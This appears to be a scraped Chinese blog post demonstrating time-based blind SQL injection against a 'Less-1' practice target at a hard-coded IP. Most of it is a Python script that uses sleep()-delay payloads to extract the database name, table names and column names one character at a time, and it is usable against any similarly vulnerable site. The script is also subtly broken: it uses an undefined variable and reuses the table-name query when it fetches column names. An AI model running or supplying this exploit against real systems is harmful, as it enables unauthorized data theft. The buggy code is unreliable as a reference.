http://43.247.91.228:84/Less-1/?id=1' and if (length(database())=8,sleep(5),0) --+
注:http://43.247.91.228:84/Less-1/为靶场地址,发送该请求,如果数据库名的长度为8则响应会延迟5秒,否则会立
即得到响应(网状状况没那么糟糕的情况下).以下代码为使用SLEEP()延迟注入猜解数据库名长度的PYTHON脚本
 import requests

 #################################################################
# http://43.247.91.228:84/Less-1是靶场地址
################################################################# url1 = "http://43.247.91.228:84/Less-1/?id=1' and if \
(length(database())={_}, sleep(3), 0) --+" url2 = "http://43.247.91.228:84/Less-1/?id=1' and if \
(ascii(substr(database(),{_},1))={__}, sleep(3), 0) --+" url3 = "http://43.247.91.228:84/Less-1/?id=1' and if \
((select count(*) from information_schema.tables \
where table_schema={_})={__}, sleep(3), 0) --+" url4 = "http://43.247.91.228:84/Less-1/?id=1' and if \
((ascii(substr((select group_concat(table_name) from \
information_schema.tables where table_schema={_}), \
{__},1)))={___}, sleep(3), 0) --+" url5 = "http://43.247.91.228:84/Less-1/?id=1' and if \
(ascii(substr((select group_concat(COLUMN_NAME) from \
information_schema.COLUMNS where table_name = {_}), \
{__}, 1))={___}, sleep(3), 0) --+" #################################################################
# 函数功能:猜解数据库名的长度
# 参数意义:n 长度范围
# 返回结果:成功:数据库名长度
#    失败:0
#################################################################
def getLength(n):
for i in range(1, n + 1):
payload = url1.format( _ = i)
print (payload)
ans = requests.get(payload)
#响应时间大于等于3秒说明猜解正确
if (ans.elapsed.seconds >= 3):
return (i)
break
else:
continue
return (0) #################################################################
# 函数功能:猜解数据库名
# 参数意义:length 数据库名的长度
# 返回结果:成功:数据库名字符串
#   失败:空字符串
#################################################################
def getName(length):
database = "" #数据库名初始化为空字符串
for i in range(1, length + 1):
for j in range(1, 128):
payload = url2.format( _ = i, __ = j)
print (payload)
ans = requests.get(payload)
#响应时间大于等于3秒说明猜解正确
if (ans.elapsed.seconds >= 3):
database += chr(j)
break
else:
continue
return (database) #################################################################
# 函数功能:猜解数据库中表的数量
# 参数意义:database 数据库名
#   n 表的数量范围
# 返回结果:成功:表的数量
#   失败:0
#################################################################
def getTablesNum(database, n):
for i in range(1, n + 1):
payload = url3.format( _ = " '"+ database + "'", __ = i)
print (payload)
ans = requests.get(payload)
if (ans.elapsed.seconds >= 3):
return (i)
break
else:
continue
return (0) #################################################################
# 函数功能:猜解表名
# 参数意义:database 数据库名
#   nameLengthTotal 所有表名的字符数及
#    逗号分隔符数之和(
#   表名之间用逗号分隔)
# 返回结果:所有表名的list数组
#################################################################
def getTablesName(database, nameLengthTotal):
tables = []
table = ""
for i in range(1, nameLengthTotal + 1):
for j in range(1, 128):
payload = url4.format( _ = " '"+ database + "'",
__ = i, ___ = j)
print (payload)
ans = requests.get(payload)
if (ans.elapsed.seconds >= 3):
table += chr(j)
break
else:
continue
tb = table.split(",")
for t in tb:
tables.append(t)
return (tables) #################################################################
# 函数功能:猜解某个表的字段名
# 参数意义:table 表名
#   attributeLengthTotal 全部字段名的字符数及用于分
#   割的逗号数之和(字段名之间
#    用逗号分割)的范围
# 返回结果:字段名字符串list数组
#################################################################
def getTableAttributes(table, attributeLengthTotal):
attributes = []
attribute = ""
for i in range(1, attributeLengthTotal + 1):
for j in range(1, 128):
payload = url4.format( _ = " '"+ table + "'",
__ = i, ___ = j)
print (payload)
ans = requests.get(payload)
if (ans.elapsed.seconds >= 3):
attribute += chr(j)
break
else:
continue
ab = attribute.split(",")
for a in ab:
attributes.append(a)
return attributes #################################################################
#
# 主函数
#
#################################################################
if __name__=="__main__":
#猜解数据库名的长度
length = getLength(10)
#猜解数据库名
database = getName(length)
#猜解表的数量
tablesNum = getTablesNum(database, 10)
#猜解表名
tables = getTablesName(database, tableNum*8)
print ("数据库名的长度为:" + str(length))
print ("数据库名为:" + database)
print ("数据库中表的数量为:" + str(tablesNum))
print ("数据库中的表如下:")
for table in tables:
print (table)
print ("各个表的字段名如下:")
for table in tables:
print (table)
#猜解各个表的字段名
attributes = getTableAttributes(table, 100)
for attribute in attributes:
print (attribute)

猜解数据库(MYSQL)信息的更多相关文章

  1. python辅助sql手工注入猜解数据库案例分析

    发现存在sql注入漏洞 简单一点可以直接用sqlmap工具暴库 但是如果想深入理解sql注入的原理,可以尝试手工注入,配合python脚本实现手工猜解数据库 首先hachbar开启 获取cms登录后的 ...

  2. MySQL查看数据库相关信息

    使用MySQL时,需要了解当前数据库的情况,例如当前的数据库大小.字符集.用户等等.下面总结了一些查看数据库相关信息的命令   1:查看显示所有数据库 mysql> show databases ...

  3. mysql数据库连接池使用(三)数据库元数据信息反射数据库获取数据库信息

    1.1. mysql数据库连接池使用(三)数据库元数据信息反射数据库获取数据库信息 有时候我们想要获取到数据库的基本信息,当前程序连接的那个数据库,数据库的版本信息,数据库中有哪些表,表中都有什么字段 ...

  4. Atitit mysql数据库统计信息

    Atitit mysql数据库统计信息 SELECT table_name, table_rows, index_length, data_length, auto_increment, create ...

  5. innodb和myisam数据库文件存储详解以及mysql表空间

    数据库常用的两种引擎有Innodb和Myisam,关于二者的区别参考:https://www.cnblogs.com/qlqwjy/p/7965460.html 1.关于数据库的存储在两种引擎的存储是 ...

  6. MySQL中 如何查询表名中包含某字段的表 ,查询MySql数据库架构信息:数据库,表,表字段

    --查询tablename 数据库中 以"_copy" 结尾的表 select table_name from information_schema.tables where ta ...

  7. [转]MySQL查看数据库相关信息

    原文链接:MySQL查看数据库相关信息 使用MySQL时,需要了解当前数据库的情况,例如当前的数据库大小.字符集.用户等等.下面总结了一些查看数据库相关信息的命令 1:查看显示所有数据库 mysql& ...

  8. Mysql信息数据库:Information_schema

    1. Information_schema information_schema是mysql的信息数据库. 通过该库能够查看mysql以下的数据库,表.权限等信息. 在数据库中会默认生成这个库.inf ...

  9. Python字典猜解

    摘要 目标 使用Python破解WordPress用户密码 使用Python破解zip压缩包密码 思路 通过表单提交项构建数据包,使用字典中的可选字符进行逐一排列组合暴力破解WordPress的用户密 ...

随机推荐

  1. 神舟战神笔记本使用U盘重装系统

    今天我的神舟战神笔记本电脑系统故障了,在这里记录一下使用U盘重装系统的方法: 1.插入装机U盘. 2.按开机键,然后马上按Esc键. 3.选择Boot Manager进入. 4.选择EFI USB D ...

  2. vue组件引入

    /src/route/index.js import Demo2 from '@/pages/demo2/index.vue' { path : '/demo2', name : 'demo2', c ...

  3. Python 分发包中添加额外文件【新手必学】

      在制作一个 Python 分发包时经常需要把一些文件添加到包中.最常见的例子是你希望通过 pip install命令安装 Python 包时会在 /etc/ 等目录下自动添加默认配置文件,由此可以 ...

  4. 同步选中所有checkbox

    $("input[type=checkbox][tag=ckAll]").change(function () $(this).parent().parent().siblings ...

  5. MySQL对大小写敏感吗

    见字如面,见标题知内容.你有遇到过因为MYSQL对大小写敏感而被坑的体验吗? 之前看过阿里巴巴Java开发手册,在MySql建表规约里有看到: [强制]表名.字段名必须使用小写字母或数字 , 禁止出现 ...

  6. UVA 12097 Pie(二分答案)

    题目链接: 这道题虽然不是一道典型的二分答案题,但同样也可以用二分答案来做. 来二分面积为$area$的派,然后看看条件是否矛盾. 与其矛盾的便是$f+1$个人是否每个人都会有. 一个半径为$r$的派 ...

  7. C编程题总结

    最大子序列和: 给定一个整数数组 nums ,找到一个具有最大和的连续子数组(子数组最少包含一个元素),返回其最大和. 示例: 输入: [-2,1,-3,4,-1,2,1,-5,4],输出: 6解释: ...

  8. bistoury建库建表(一)

    bistoury DROP TABLE IF EXISTS bistoury_app; CREATE TABLE bistoury_app( id INT UNSIGNED auto_incremen ...

  9. 一段讯飞、百度等语音识别API无法识别的语音最终解决办法

    最近在做语音识别.字幕扒词相关的工作,遇到了一段录音(https://download.csdn.net/download/u014220286/12169183,各位有兴趣的可以下载下来试试),音质 ...

  10. IntelliJ IDEA 2017.3尚硅谷-----修改类头的文档注释信息

    /** @author shkstart @create ${YEAR}-${MONTH}-${DAY} ${TIME} */ ${PACKAGE_NAME} - the name of the ta ...